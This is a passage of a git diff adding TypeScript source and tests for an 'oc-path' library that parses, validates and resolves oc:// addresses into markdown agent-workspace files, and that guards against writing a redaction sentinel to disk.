...fieldSubs], + sectionLen: sectionSubs.length, + itemLen: itemSubs.length, + fieldLen: fieldSubs.length, + }; +} + +/** + * Re-pack a concrete sub-segment list (matching the layout of `pattern`) + * into an `OcPath`. Wildcard segments in `pattern` are replaced by their + * concrete counterparts in `subs`; non-wildcard segments are copied + * verbatim. The slot boundaries (section/item/field) are preserved so + * the output mirrors the input pattern's shape. + * + * Throws if `subs.length !== pattern layout subs length` — the walker + * must always produce a complete concrete path. + */ +export function repackPath( + pattern: OcPath, + subs: readonly string[], +): OcPath { + const layout = getPathLayout(pattern); + if (subs.length !== layout.subs.length) { + throw new OcPathError( + `repack length mismatch: pattern has ${layout.subs.length} sub-segments, got ${subs.length}`, + formatOcPath(pattern), + 'OC_PATH_REPACK_LENGTH', + ); + } + const sectionSubs = subs.slice(0, layout.sectionLen); + const itemSubs = subs.slice(layout.sectionLen, layout.sectionLen + layout.itemLen); + const fieldSubs = subs.slice(layout.sectionLen + layout.itemLen); + return { + file: pattern.file, + ...(sectionSubs.length > 0 ? { section: sectionSubs.join('.') } : {}), + ...(itemSubs.length > 0 ? { item: itemSubs.join('.') } : {}), + ...(fieldSubs.length > 0 ? { field: fieldSubs.join('.') } : {}), + ...(pattern.session !== undefined ? { session: pattern.session } : {}), + }; +} + +function extractSession(queryPart: string): string | undefined { + if (queryPart.length === 0) {return undefined;} + for (const pair of queryPart.split('&')) { + const eqIndex = pair.indexOf('='); + if (eqIndex === -1) {continue;} + const key = pair.slice(0, eqIndex); + const value = pair.slice(eqIndex + 1); + if (key === 'session' && value.length > 0) {return value;} + } + return undefined; +} + +/** + * Split `s` on `delim`, but treat balanced `[...]`, `{...}`, and + * `"..."` regions as opaque — delimiters inside brackets/braces or + * inside double quotes don't trigger splits. + * + * Quoted segments (v1.0 — addresses openclaw#69004, openclaw#76532) + * let path keys contain `/`, `.`, `?`, `&`, `%`, and whitespace + * verbatim: + * + * oc://X/"foo/bar"/baz → key `foo/bar` + * oc://X/agents.defaults.models/"anthropic/claude-opus-4-7"/alias + * + * Inside a quoted segment, `\\` escapes a backslash and `\"` escapes + * a quote. Other backslashes are literal. + * + * Throws `OcPathError` on unbalanced brackets/braces/quotes — malformed + * input is rejected at parse time rather than silently tolerated. + * + * @internal — exported for use by the find walker; not part of the + * public OcPath API surface. + */ +/** + * Find the first occurrence of `ch` at the TOP level of `s` — + * outside any balanced `[...]`, `{...}`, or `"..."` regions. + * Used by `parseOcPath` to locate the query separator (`?`) without + * mistakenly splitting inside a quoted key like `"foo?bar"`. + * + * Returns `-1` if the character is not present at the top level. + */ +export function indexOfTopLevel(s: string, ch: string): number { + let depthBracket = 0; + let depthBrace = 0; + let inQuote = false; + for (let i = 0; i < s.length; i++) { + const c = s[i]; + if (inQuote) { + if (c === '\\' && i + 1 < s.length) { i++; continue; } + if (c === '"') {inQuote = false;} + continue; + } + if (c === '"') { inQuote = true; continue; } + if (c === '[') {depthBracket++;} + else if (c === ']') {depthBracket--;} + else if (c === '{') {depthBrace++;} + else if (c === '}') {depthBrace--;} + if (c === ch && depthBracket === 0 && depthBrace === 0) {return i;} + } + return -1; +} + +export function splitRespectingBrackets(s: string, delim: string, originalInput?: string): string[] { + const out: string[] = []; + let depthBracket = 0; + let depthBrace = 0; + let inQuote = false; + let buf = ''; + for (let i = 0; i < s.length; i++) { + const c = s[i]; + if (inQuote) { + // Inside a quoted region: `\\` and `\"` consume the next char; + // unescaped `"` closes the quote. + if (c === '\\' && i + 1 < s.length) { + buf += c + s[i + 1]; + i++; + continue; + } + if (c === '"') { + inQuote = false; + } + buf += c; + continue; + } + if (c === '"') { + inQuote = true; + buf += c; + continue; + } + if (c === '[') {depthBracket++;} + else if (c === ']') {depthBracket--;} + else if (c === '{') {depthBrace++;} + else if (c === '}') {depthBrace--;} + if (depthBracket < 0 || depthBrace < 0) { + throw new OcPathError( + `Unbalanced bracket/brace in oc:// path: ${originalInput ?? s}`, + originalInput ?? s, + 'OC_PATH_UNBALANCED', + ); + } + if (c === delim && depthBracket === 0 && depthBrace === 0) { + out.push(buf); + buf = ''; + continue; + } + buf += c; + } + if (depthBracket !== 0 || depthBrace !== 0 || inQuote) { + throw new OcPathError( + `Unbalanced bracket/brace/quote in oc:// path: ${originalInput ?? s}`, + originalInput ?? s, + 'OC_PATH_UNBALANCED', + ); + } + out.push(buf); + return out; +} + +/** + * `true` iff `seg` is a fully-quoted segment of the form `"..."`. + * Used by parsers/walkers to dispatch on quoted vs bare segments. + */ +export function isQuotedSeg(seg: string): boolean { + return seg.length >= 2 && seg.startsWith('"') && seg.endsWith('"'); +} + +/** + * Strip surrounding quotes and unescape `\\` / `\"` from a quoted + * segment, yielding the literal content. Inverse of `quoteSeg`. + * + * No-op on bare (unquoted) segments — returns input unchanged. + */ +export function unquoteSeg(seg: string): string { + if (!isQuotedSeg(seg)) {return seg;} + const inner = seg.slice(1, -1); + let out = ''; + for (let i = 0; i < inner.length; i++) { + const c = inner[i]; + if (c === '\\' && i + 1 < inner.length) { + const next = inner[i + 1]; + if (next === '\\' || next === '"') { + out += next; + i++; + continue; + } + } + out += c; + } + return out; +} + +/** + * Quote a literal value for inclusion in a path. If the value contains + * any character that has grammar meaning unquoted (`/`, `.`, `[`, `{`, + * `?`, `&`, `%`, whitespace, or `"`), wrap in quotes and escape + * embedded `\\` / `"`. Otherwise return as-is. + * + * Used by `formatOcPath` to round-trip slot values that came from + * quoted-segment input. + */ +export function quoteSeg(value: string): string { + if (value.length === 0) {return '""';} + const needsQuote = /[/.[\]{}?&%"\s]/.test(value); + if (!needsQuote) {return value;} + const escaped = value.replace(/\\/g, '\\\\').replace(/"/g, '\\"'); + return `"${escaped}"`; +} + +function validateBrackets(seg: string, input: string): void { + // The splitter already enforced balance — this is a defense-in-depth + // pass that also catches stray unmatched brackets in segments that + // didn't trigger a split. Skip characters inside quoted regions + // (`"..."` with `\` escape) so quoted segments containing literal + // `[` / `{` round-trip cleanly. Without this skip, `formatOcPath` + // would emit `"a[b"` (correctly quoted) and `parseOcPath` would + // reject it here as unbalanced — breaking the round-trip. + let depthBracket = 0; + let depthBrace = 0; + let inQuote = false; + let escaped = false; + for (const c of seg) { + if (inQuote) { + if (escaped) { + escaped = false; + } else if (c === '\\') { + escaped = true; + } else if (c === '"') { + inQuote = false; + } + continue; + } + if (c === '"') { + inQuote = true; + continue; + } + if (c === '[') {depthBracket++;} + else if (c === ']') {depthBracket--;} + else if (c === '{') {depthBrace++;} + else if (c === '}') {depthBrace--;} + if (depthBracket < 0 || depthBrace < 0) { + throw new OcPathError( + `Unbalanced bracket/brace in segment "${seg}": ${printable(input)}`, + input, + 'OC_PATH_UNBALANCED', + ); + } + } + if (depthBracket !== 0 || depthBrace !== 0) { + throw new OcPathError( + `Unbalanced bracket/brace in segment "${seg}": ${printable(input)}`, + input, + 'OC_PATH_UNBALANCED', + ); + } +} + +function validateSubSegment(sub: string, input: string): void { + // Empty sub-segment from dotted-form means a stray `.` (e.g. `a..b`). + if (sub.length === 0) { + throw new OcPathError( + `Empty dotted sub-segment in oc:// path: ${printable(input)}`, + input, + 'OC_PATH_EMPTY_SUB_SEGMENT', + ); + } + + // P-004 / P-011 — control characters (including null byte) banned + // in segments. They have no legitimate use in addressing and they + // break downstream consumers (terminals, C strings, log lines). + // Applied to both quoted and unquoted forms — quoting lets you put + // slashes in keys, not control bytes. + if (hasControlChar(sub)) { + throw new OcPathError( + `Control character in oc:// segment "${printable(sub)}": ${printable(input)}`, + input, + 'OC_PATH_CONTROL_CHAR', + ); + } + + // Quoted segments (v1.0): content is verbatim and the rest of these + // checks (whitespace, reserved chars) don't apply — quoting is the + // explicit opt-out from those identifier-shape rules. Skip ahead. + if (isQuotedSeg(sub)) {return;} + + // P-026 — reserved characters that the path grammar itself uses + // (`?` for query, `&` between query pairs, `%` for URL escapes). + // Allowed inside predicate values where they'll be quoted at the + // path level by the bracket containment rule (P-012/P-013). + if (!sub.startsWith('[') && !sub.startsWith('{')) { + if (RESERVED_CHARS_RE.test(sub)) { + throw new OcPathError( + `Reserved character (\`?\` / \`&\` / \`%\`) in oc:// segment "${sub}": ${printable(input)}`, + input, + 'OC_PATH_RESERVED_CHAR', + ); + } + } + + // P-003 — leading or trailing whitespace in identifier-shaped subs. + // Predicate / union segments don't get this check (their values are + // content and may legitimately want spaces). + if (!sub.startsWith('[') && !sub.startsWith('{')) { + if (sub !== sub.trim() || /\s/.test(sub)) { + throw new OcPathError( + `Whitespace in oc:// segment "${sub}": ${printable(input)}`, + input, + 'OC_PATH_WHITESPACE', + ); + } + } + // Bracket grammar: a sub starting with `[` and ending with `]` is + // either a literal sentinel (e.g. `[frontmatter]`) — accepted as-is + // — or a predicate `[keyvalue]`. Mismatched brackets (only one + // side present) are rejected. A predicate-shaped segment (contains + // a comparison operator inside) must parse cleanly. + const startsBracket = sub.startsWith('['); + const endsBracket = sub.endsWith(']'); + if (startsBracket !== endsBracket) { + throw new OcPathError( + `Mismatched bracket in segment "${sub}": ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_PREDICATE', + ); + } + if (startsBracket && endsBracket) { + const inner = sub.slice(1, -1); + if (inner.length === 0) { + throw new OcPathError( + `Empty bracket segment "${sub}": ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_PREDICATE', + ); + } + // If it looks like a predicate (has an operator), validate fully. + const hasOp = ['!=', '*=', '^=', '$=', '<=', '>=', '<', '>', '='].some((op) => inner.includes(op)); + if (hasOp) { + const parsed = parsePredicateSeg(sub); + if (parsed === null || parsed.key.length === 0 || parsed.value.length === 0) { + throw new OcPathError( + `Malformed predicate "${sub}" — must be \`[keyvalue]\` with non-empty key and value: ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_PREDICATE', + ); + } + } + // No operator → literal sentinel segment (e.g. `[frontmatter]`), + // accepted as-is for back-compat. + } + // Brace grammar: union `{a,b,c}`. Mismatched or empty is rejected. + const startsBrace = sub.startsWith('{'); + const endsBrace = sub.endsWith('}'); + if (startsBrace !== endsBrace) { + throw new OcPathError( + `Mismatched brace in segment "${sub}": ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_UNION', + ); + } + if (startsBrace && endsBrace) { + const inner = sub.slice(1, -1); + if (inner.length === 0) { + throw new OcPathError( + `Empty union "${sub}" — must contain at least one alternative: ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_UNION', + ); + } + if (inner.split(',').some((a) => a.length === 0)) { + throw new OcPathError( + `Empty alternative in union "${sub}": ${printable(input)}`, + input, + 'OC_PATH_MALFORMED_UNION', + ); + } + } +} diff --git a/src/oc-path/parse.ts b/src/oc-path/parse.ts new file mode 100644 index 00000000000..066badc0a42 --- /dev/null +++ b/src/oc-path/parse.ts @@ -0,0 +1,294 @@ +/** + * Generic markdown-flavored parser for the 8 workspace files. + * + * Produces a `MdAst` addressing index over `raw` bytes: + * frontmatter (if present), preamble (prose before first H2), and an + * H2-block tree with items/tables/code-blocks extracted for OcPath + * resolution. + * + * **No file-kind discrimination.** Same parse path for SOUL.md / + * AGENTS.md / MEMORY.md / TOOLS.md / IDENTITY.md / USER.md / + * HEARTBEAT.md / SKILL.md. Per-file lint opinions ride downstream + * (`@openclaw/oc-lint` rule packs). + * + * **Byte-fidelity contract**: `raw` is preserved on the AST root so + * `emitMd(parse(raw)) === raw` for every input the parser accepts. + * + * @module @openclaw/oc-path/parse + */ + +import type { + AstBlock, + AstCodeBlock, + AstItem, + AstTable, + Diagnostic, + FrontmatterEntry, + ParseResult, + MdAst, +} from './ast.js'; +import { slugify } from './slug.js'; + +const FENCE = '---'; +const BOM = ''; + +/** + * Parse raw bytes into a `MdAst`. Soft-error policy: never + * throws. Suspicious-but-recoverable inputs (unclosed frontmatter, + * malformed bullet) become diagnostics. + */ +export function parseMd(raw: string): ParseResult { + const diagnostics: Diagnostic[] = []; + + // Strip a leading BOM for parsing convenience; keep the raw input + // intact on the AST so emit can round-trip the BOM if present. + const withoutBom = raw.startsWith(BOM) ? raw.slice(BOM.length) : raw; + const lines = withoutBom.split(/\r?\n/); + + const fm = detectFrontmatter(lines, diagnostics); + const bodyStartLine = fm === null ? 0 : fm.endLine + 1; + const bodyLines = lines.slice(bodyStartLine); + + const { preamble, blocks } = splitH2Blocks(bodyLines, bodyStartLine + 1, diagnostics); + + const ast: MdAst = { + kind: 'md', + raw, + frontmatter: fm?.entries ?? [], + preamble, + blocks, + }; + + return { ast, diagnostics }; +} + +// ---------- Frontmatter --------------------------------------------------- + +interface FrontmatterRange { + readonly entries: readonly FrontmatterEntry[]; + /** 0-based line index of the closing `---`. */ + readonly endLine: number; +} + +function detectFrontmatter( + lines: readonly string[], + diagnostics: Diagnostic[], +): FrontmatterRange | null { + if (lines.length < 2) {return null;} + if (lines[0] !== FENCE) {return null;} + + let closeIndex = -1; + for (let i = 1; i < lines.length; i++) { + if (lines[i] === FENCE) { + closeIndex = i; + break; + } + } + if (closeIndex === -1) { + diagnostics.push({ + line: 1, + message: 'frontmatter opens with --- but never closes', + severity: 'warning', + code: 'OC_FRONTMATTER_UNCLOSED', + }); + return null; + } + + const entries: FrontmatterEntry[] = []; + for (let i = 1; i < closeIndex; i++) { + const line = lines[i]; + if (line.trim().length === 0) {continue;} + const m = /^([a-zA-Z_][a-zA-Z0-9_-]*)\s*:\s*(.*)$/.exec(line); + if (m === null) { + // Could be a list-style continuation (` - item`) for the previous key; + // we don't structurally model lists in frontmatter at the substrate + // layer (lint rules can do that against the raw substring if they + // need to). Skip silently — keeps the parser opinion-free. + continue; + } + entries.push({ + key: m[1], + value: unquote(m[2].trim()), + line: i + 1, + }); + } + + return { entries, endLine: closeIndex }; +} + +function unquote(value: string): string { + if (value.length >= 2) { + const first = value.charCodeAt(0); + const last = value.charCodeAt(value.length - 1); + if (first === last && (first === 34 /* " */ || first === 39 /* ' */)) { + return value.slice(1, -1); + } + } + return value; +} + +// ---------- H2 block split ------------------------------------------------- + +function splitH2Blocks( + bodyLines: readonly string[], + /** 1-based line number of `bodyLines[0]` in the original file. */ + bodyStartLineNum: number, + diagnostics: Diagnostic[], +): { preamble: string; blocks: AstBlock[] } { + // Track code-block state so `##` inside a fenced block doesn't get + // parsed as a heading. + let inCode = false; + const headings: { line: number; text: string }[] = []; + + for (let i = 0; i < bodyLines.length; i++) { + const line = bodyLines[i]; + if (line.startsWith('```')) { + inCode = !inCode; + continue; + } + if (inCode) {continue;} + const m = /^##\s+(\S.*?)\s*$/.exec(line); + if (m !== null) { + headings.push({ line: i, text: m[1] }); + } + } + + if (headings.length === 0) { + return { + preamble: bodyLines.join('\n'), + blocks: [], + }; + } + + const preamble = bodyLines.slice(0, headings[0].line).join('\n'); + const blocks: AstBlock[] = []; + + for (let h = 0; h < headings.length; h++) { + const start = headings[h].line; + const end = h + 1 < headings.length ? headings[h + 1].line : bodyLines.length; + const headingText = headings[h].text; + const blockBodyLines = bodyLines.slice(start + 1, end); + const bodyText = blockBodyLines.join('\n'); + const headingLineNum = bodyStartLineNum + start; + + const items = extractItems(blockBodyLines, headingLineNum + 1, diagnostics); + const tables = extractTables(blockBodyLines, headingLineNum + 1); + const codeBlocks = extractCodeBlocks(blockBodyLines, headingLineNum + 1); + + blocks.push({ + heading: headingText, + slug: slugify(headingText), + line: headingLineNum, + bodyText, + items, + tables, + codeBlocks, + }); + } + + return { preamble, blocks }; +} + +// ---------- Items ---------------------------------------------------------- + +const BULLET_RE = /^(?:[-*+])\s+(.+?)\s*$/; +const KV_RE = /^([^:]+?)\s*:\s*(.+)$/; + +function extractItems( + blockBodyLines: readonly string[], + startLineNum: number, + _diagnostics: Diagnostic[], +): AstItem[] { + const items: AstItem[] = []; + let inCode = false; + + for (let i = 0; i < blockBodyLines.length; i++) { + const line = blockBodyLines[i]; + if (line.startsWith('```')) { + inCode = !inCode; + continue; + } + if (inCode) {continue;} + const m = BULLET_RE.exec(line); + if (m === null) {continue;} + const text = m[1]; + const kvMatch = KV_RE.exec(text); + const item: AstItem = { + text, + slug: kvMatch ? slugify(kvMatch[1]) : slugify(text), + line: startLineNum + i, + ...(kvMatch !== null + ? { kv: { key: kvMatch[1].trim(), value: kvMatch[2].trim() } } + : {}), + }; + items.push(item); + } + + return items; +} + +// ---------- Tables --------------------------------------------------------- + +function extractTables( + blockBodyLines: readonly string[], + startLineNum: number, +): AstTable[] { + const tables: AstTable[] = []; + let i = 0; + while (i < blockBodyLines.length) { + const headerLine = blockBodyLines[i]; + const sepLine = blockBodyLines[i + 1]; + if ( + headerLine.trim().startsWith('|') && + sepLine !== undefined && + /^\s*\|\s*[:-]+(?:\s*\|\s*[:-]+)*\s*\|?\s*$/.test(sepLine) + ) { + const headers = splitTableRow(headerLine); + const rows: string[][] = []; + let j = i + 2; + while (j < blockBodyLines.length && blockBodyLines[j].trim().startsWith('|')) { + rows.push(splitTableRow(blockBodyLines[j])); + j++; + } + tables.push({ headers, rows, line: startLineNum + i }); + i = j; + continue; + } + i++; + } + return tables; +} + +function splitTableRow(line: string): string[] { + const trimmed = line.trim().replace(/^\|/, '').replace(/\|$/, ''); + return trimmed.split('|').map((cell) => cell.trim()); +} + +// ---------- Code blocks --------------------------------------------------- + +function extractCodeBlocks( + blockBodyLines: readonly string[], + startLineNum: number, +): AstCodeBlock[] { + const codeBlocks: AstCodeBlock[] = []; + let i = 0; + while (i < blockBodyLines.length) { + const open = blockBodyLines[i]; + if (open.startsWith('```')) { + const lang = open.slice(3).trim(); + const langField = lang.length > 0 ? lang : null; + const startLine = startLineNum + i; + let j = i + 1; + const bodyLines: string[] = []; + while (j < blockBodyLines.length && !blockBodyLines[j].startsWith('```')) { + bodyLines.push(blockBodyLines[j]); + j++; + } + codeBlocks.push({ lang: langField, text: bodyLines.join('\n'), line: startLine }); + i = j + 1; + continue; + } + i++; + } + return codeBlocks; +} diff --git a/src/oc-path/resolve.ts b/src/oc-path/resolve.ts new file mode 100644 index 00000000000..f27f0048391 --- /dev/null +++ b/src/oc-path/resolve.ts @@ -0,0 +1,113 @@ +/** + * OcPath → AST node resolver. + * + * Resolves an `OcPath` against a `MdAst` and returns the matched + * node (block / item / frontmatter entry / kv field) or `null` if the + * path doesn't match anything. + * + * The address dispatch: + * + * { file } → AST root + * { file, section } → AstBlock with matching slug + * { file, section, item } → AstItem inside that block + * { file, section, item, field } → kv.value of that item if kv.key matches + * + * The `file` segment is informational here — callers verify file + * matching before passing the AST. The resolver doesn't load files; it + * walks an in-memory AST. + * + * @module @openclaw/oc-path/resolve + */ + +import type { AstBlock, AstItem, FrontmatterEntry, MdAst } from './ast.js'; +import type { OcPath } from './oc-path.js'; +import { isOrdinalSeg, isPositionalSeg, parseOrdinalSeg, resolvePositionalSeg } from './oc-path.js'; + +/** + * The resolved target plus a stable description of what kind of node it + * is. Lint rules and doctor fixers branch on `kind`. + */ +export type OcPathMatch = + | { readonly kind: 'root'; readonly node: MdAst } + | { readonly kind: 'frontmatter'; readonly node: FrontmatterEntry } + | { readonly kind: 'block'; readonly node: AstBlock } + | { readonly kind: 'item'; readonly node: AstItem; readonly block: AstBlock } + | { + readonly kind: 'item-field'; + readonly node: AstItem; + readonly block: AstBlock; + /** The kv.value string, surfaced for convenience. */ + readonly value: string; + }; + +/** + * Resolve an `OcPath` against an AST. Returns the matched node or + * `null`. Slugs match case-insensitively against `slugify(input)` — + * "Boundaries" matches a section heading "## Boundaries" because both + * slugify to "boundaries". + * + * Special-case: `OcPath.section === '[frontmatter]'` (literal) addresses + * frontmatter; `field` then names the frontmatter key. This lets a + * single OcPath shape address both prose-tree fields and frontmatter + * fields without growing the tuple. + */ +export function resolveMdOcPath(ast: MdAst, path: OcPath): OcPathMatch | null { + // Frontmatter addressing: oc://FILE/[frontmatter]/key + // The frontmatter key sits at the OcPath `item` slot in this 3-segment + // shape; we accept `field` as a fallback for callers that thread + // 4-segment paths. + if (path.section === '[frontmatter]') { + const key = path.item ?? path.field; + if (key === undefined) {return null;} + const entry = ast.frontmatter.find((e) => e.key === key); + if (entry === undefined) {return null;} + return { kind: 'frontmatter', node: entry }; + } + + // Plain file root address. + if (path.section === undefined) { + return { kind: 'root', node: ast }; + } + + const sectionSlug = path.section.toLowerCase(); + const block = ast.blocks.find((b) => b.slug === sectionSlug); + if (block === undefined) {return null;} + + // Section-only address. + if (path.item === undefined) { + return { kind: 'block', node: block }; + } + + // Item addressing: ordinal (`#N`) > positional (`$first`/`$last`/`-N`) + // > slug. Ordinal uses absolute document order so two items sharing + // a slug stay distinguishable. + let item: AstItem | undefined; + if (isOrdinalSeg(path.item)) { + const n = parseOrdinalSeg(path.item); + if (n === null || n < 0 || n >= block.items.length) {return null;} + item = block.items[n]; + } else if (isPositionalSeg(path.item)) { + const concrete = resolvePositionalSeg(path.item, { + indexable: true, + size: block.items.length, + }); + if (concrete === null) {return null;} + item = block.items[Number(concrete)]; + } else { + const itemSlug = path.item.toLowerCase(); + item = block.items.find((i) => i.slug === itemSlug); + } + if (item === undefined) {return null;} + + // Item-only address. + if (path.field === undefined) { + return { kind: 'item', node: item, block }; + } + + // Item-field address. Requires the item to have a `kv` and the field + // to match the kv key (case-insensitive). A field on an item without + // kv shape is unresolvable — return null rather than guessing. + if (item.kv === undefined) {return null;} + if (item.kv.key.toLowerCase() !== path.field.toLowerCase()) {return null;} + return { kind: 'item-field', node: item, block, value: item.kv.value }; +} diff --git a/src/oc-path/sentinel.ts b/src/oc-path/sentinel.ts new file mode 100644 index 00000000000..b0167138590 --- /dev/null +++ b/src/oc-path/sentinel.ts @@ -0,0 +1,63 @@ +/** + * Substrate-level redaction-sentinel guard. + * + * Closes the `__OPENCLAW_REDACTED__` corruption class by rejecting the + * literal string at the emit boundary. Per-call-site reject rules + * (added piecemeal in [#62281](https://github.com/openclaw/openclaw/issues/62281), + * [#44357](https://github.com/openclaw/openclaw/issues/44357), + * [#13495](https://github.com/openclaw/openclaw/issues/13495), and others) + * caught the symptom; this guard removes the substrate that produced + * the symptom in the first place. + * + * Throwing at emit (not at the consumer) means every code path through + * the substrate is covered, including future call sites we haven't + * audited. + * + * @module @openclaw/oc-path/sentinel + */ + +/** + * The literal string that marks redacted secrets in OpenClaw's runtime + * representation. Writing it to disk is always a bug — the consumer + * was supposed to drop the redacted view, not pass it through to the + * writer. + */ +export const REDACTED_SENTINEL = '__OPENCLAW_REDACTED__'; + +/** + * Thrown when emit detects a `"__OPENCLAW_REDACTED__"` literal in any + * emitted bytes. Callers should treat this as a fatal write error; + * recovering by stripping the sentinel would silently corrupt the + * file. Fail-closed. + * + * `path` is the OcPath-shaped pointer to where the sentinel was + * detected (e.g., `oc://config/plugins.entries.foo.token`). For + * non-config emits, it's the closest meaningful address (frontmatter + * key, section/item slug, etc.) or just the file name. + */ +export class OcEmitSentinelError extends Error { + readonly code = 'OC_EMIT_SENTINEL'; + readonly path: string; + + constructor(path: string) { + super(`emit refused to write "${REDACTED_SENTINEL}" sentinel literal at ${path}`); + this.name = 'OcEmitSentinelError'; + this.path = path; + } +} + +/** + * Throw `OcEmitSentinelError` if `value` contains the redaction + * sentinel anywhere. Substring match (not equality) — a hostile caller + * embedding `prefix__OPENCLAW_REDACTED__suffix` in a leaf must be + * rejected just as forcefully as the bare sentinel; the substring form + * still leaks the marker bytes to disk where downstream scanners flag + * the file as corrupted. + * + * No-op for any non-string input. Used by every leaf-write boundary. + */ +export function guardSentinel(value: unknown, ocPath: string): void { + if (typeof value === 'string' && value.includes(REDACTED_SENTINEL)) { + throw new OcEmitSentinelError(ocPath); + } +} diff --git a/src/oc-path/slug.ts b/src/oc-path/slug.ts new file mode 100644 index 00000000000..7c326673d81 --- /dev/null +++ b/src/oc-path/slug.ts @@ -0,0 +1,43 @@ +/** + * Slug derivation for OcPath section/item addressing. + * + * A slug is the kebab-case lowercase form of a heading or item text: + * "Tool Guidance" → "tool-guidance" + * " Restricted Data " → "restricted-data" + * "deny-rule-1" → "deny-rule-1" (already a slug) + * "API_KEY" → "api-key" + * "Multi-tenant isolation" → "multi-tenant-isolation" + * "deny: secrets" → "deny-secrets" (colon + space → hyphen) + * + * Deterministic + idempotent. Used by parse to pre-compute slugs for + * blocks and items, and by resolveOcPath to match section/item names. + * + * @module @openclaw/oc-path/slug + */ + +const NON_SLUG_CHARS = /[^a-z0-9-]+/g; +const COLLAPSE_HYPHENS = /-+/g; +const TRIM_HYPHENS = /^-+|-+$/g; + +/** + * Convert arbitrary text into a slug usable as an OcPath segment. + * + * Rules: + * 1. Lowercase + * 2. Replace `_` with `-` + * 3. Replace any non-`[a-z0-9-]` runs with a single `-` + * 4. Collapse repeated `-` + * 5. Trim leading/trailing `-` + * + * Returns the empty string for input that has no slug-valid characters + * (e.g., `"!!"` → `""`); callers should treat empty slugs as not + * matchable rather than as wildcards. + */ +export function slugify(text: string): string { + return text + .toLowerCase() + .replace(/_/g, '-') + .replace(NON_SLUG_CHARS, '-') + .replace(COLLAPSE_HYPHENS, '-') + .replace(TRIM_HYPHENS, ''); +} diff --git a/src/oc-path/tests/edit.test.ts b/src/oc-path/tests/edit.test.ts new file mode 100644 index 00000000000..e3e6695ab72 --- /dev/null +++ b/src/oc-path/tests/edit.test.ts @@ -0,0 +1,99 @@ +import { describe, expect, it } from 'vitest'; +import { setMdOcPath as setOcPath } from '../edit.js'; +import { parseOcPath } from '../oc-path.js'; +import { parseMd } from '../parse.js'; + +describe('setOcPath — frontmatter', () => { + it('replaces a frontmatter value', () => { + const raw = `--- +name: github +description: old desc +--- + +Body. +`; + const { ast } = parseMd(raw); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/[frontmatter]/description'), + 'new desc', + ); + expect(r.ok).toBe(true); + if (r.ok) { + expect(r.ast.raw).toContain('description: new desc'); + expect(r.ast.raw).not.toContain('old desc'); + } + }); + + it('reports unresolved when the key is missing', () => { + const { ast } = parseMd('---\nname: x\n---\n'); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/[frontmatter]/nope'), + 'x', + ); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); + + it('quotes values that need YAML-escaping', () => { + const { ast } = parseMd('---\nx: a\n---\n'); + const r = setOcPath(ast, parseOcPath('oc://AGENTS.md/[frontmatter]/x'), 'has: colon'); + expect(r.ok).toBe(true); + if (r.ok) {expect(r.ast.raw).toContain('x: "has: colon"');} + }); +}); + +describe('setOcPath — item kv field', () => { + it('replaces an item kv value and reflects it in the rebuilt body', () => { + const raw = `## Boundaries + +- enabled: true +- timeout: 5 +`; + const { ast } = parseMd(raw); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/boundaries/timeout/timeout'), + '30', + ); + expect(r.ok).toBe(true); + if (r.ok) { + expect(r.ast.raw).toContain('- timeout: 30'); + expect(r.ast.raw).toContain('- enabled: true'); + } + }); + + it('reports no-item-kv for an item without kv shape', () => { + const raw = `## Boundaries + +- plain bullet +`; + const { ast } = parseMd(raw); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/boundaries/plain-bullet/plain-bullet'), + 'x', + ); + expect(r).toEqual({ ok: false, reason: 'no-item-kv' }); + }); + + it('reports unresolved when section/item is missing', () => { + const { ast } = parseMd('## Other\n\n- foo: bar\n'); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/missing/foo/foo'), + 'x', + ); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); + + it('reports not-writable for section-only addresses', () => { + const { ast } = parseMd('## Boundaries\n\n- enabled: true\n'); + const r = setOcPath( + ast, + parseOcPath('oc://AGENTS.md/boundaries'), + 'x', + ); + expect(r).toEqual({ ok: false, reason: 'not-writable' }); + }); +}); diff --git a/src/oc-path/tests/emit.test.ts b/src/oc-path/tests/emit.test.ts new file mode 100644 index 00000000000..63f81008ec9 --- /dev/null +++ b/src/oc-path/tests/emit.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../emit.js'; +import { parseMd } from '../parse.js'; +import { OcEmitSentinelError } from '../sentinel.js'; + +describe('emit — round-trip mode (default)', () => { + it('returns the raw bytes byte-for-byte', () => { + const raw = `---\nname: x\n---\n\n## Sec\n\n- a\n- b\n`; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + }); + + it('round-trips CRLF line endings', () => { + const raw = '## Heading\r\n\r\n- item\r\n'; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + }); + + it('round-trips a file with no frontmatter and no sections', () => { + const raw = 'Just preamble. No structure.\n'; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + }); + + it('echoes raw bytes containing the sentinel by default; strict mode rejects', () => { + // Round-trip trusts parsed bytes — see emit.ts policy comment. + // Strict mode (acceptPreExistingSentinel: false) is the opt-in + // path for callers that want LKG-style fingerprint verification. + const raw = '## Section\n\n- token: __OPENCLAW_REDACTED__\n'; + const { ast } = parseMd(raw); + expect(emitMd(ast)).toBe(raw); + expect(() => emitMd(ast, { acceptPreExistingSentinel: false })).toThrow( + OcEmitSentinelError, + ); + }); +}); + +describe('emit — render mode', () => { + it('renders frontmatter + blocks', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [ + { key: 'name', value: 'github', line: 2 }, + { key: 'description', value: 'gh CLI', line: 3 }, + ], + preamble: '', + blocks: [ + { + heading: 'Tools', + slug: 'tools', + line: 5, + bodyText: '- gh: GitHub', + items: [{ text: 'gh: GitHub', slug: 'gh', line: 7, kv: { key: 'gh', value: 'GitHub' } }], + tables: [], + codeBlocks: [], + }, + ], + }; + const output = emitMd(ast, { mode: 'render' }); + expect(output).toContain('name: github'); + expect(output).toContain('description: gh CLI'); + expect(output).toContain('## Tools'); + expect(output).toContain('- gh: GitHub'); + }); + + it('quotes frontmatter 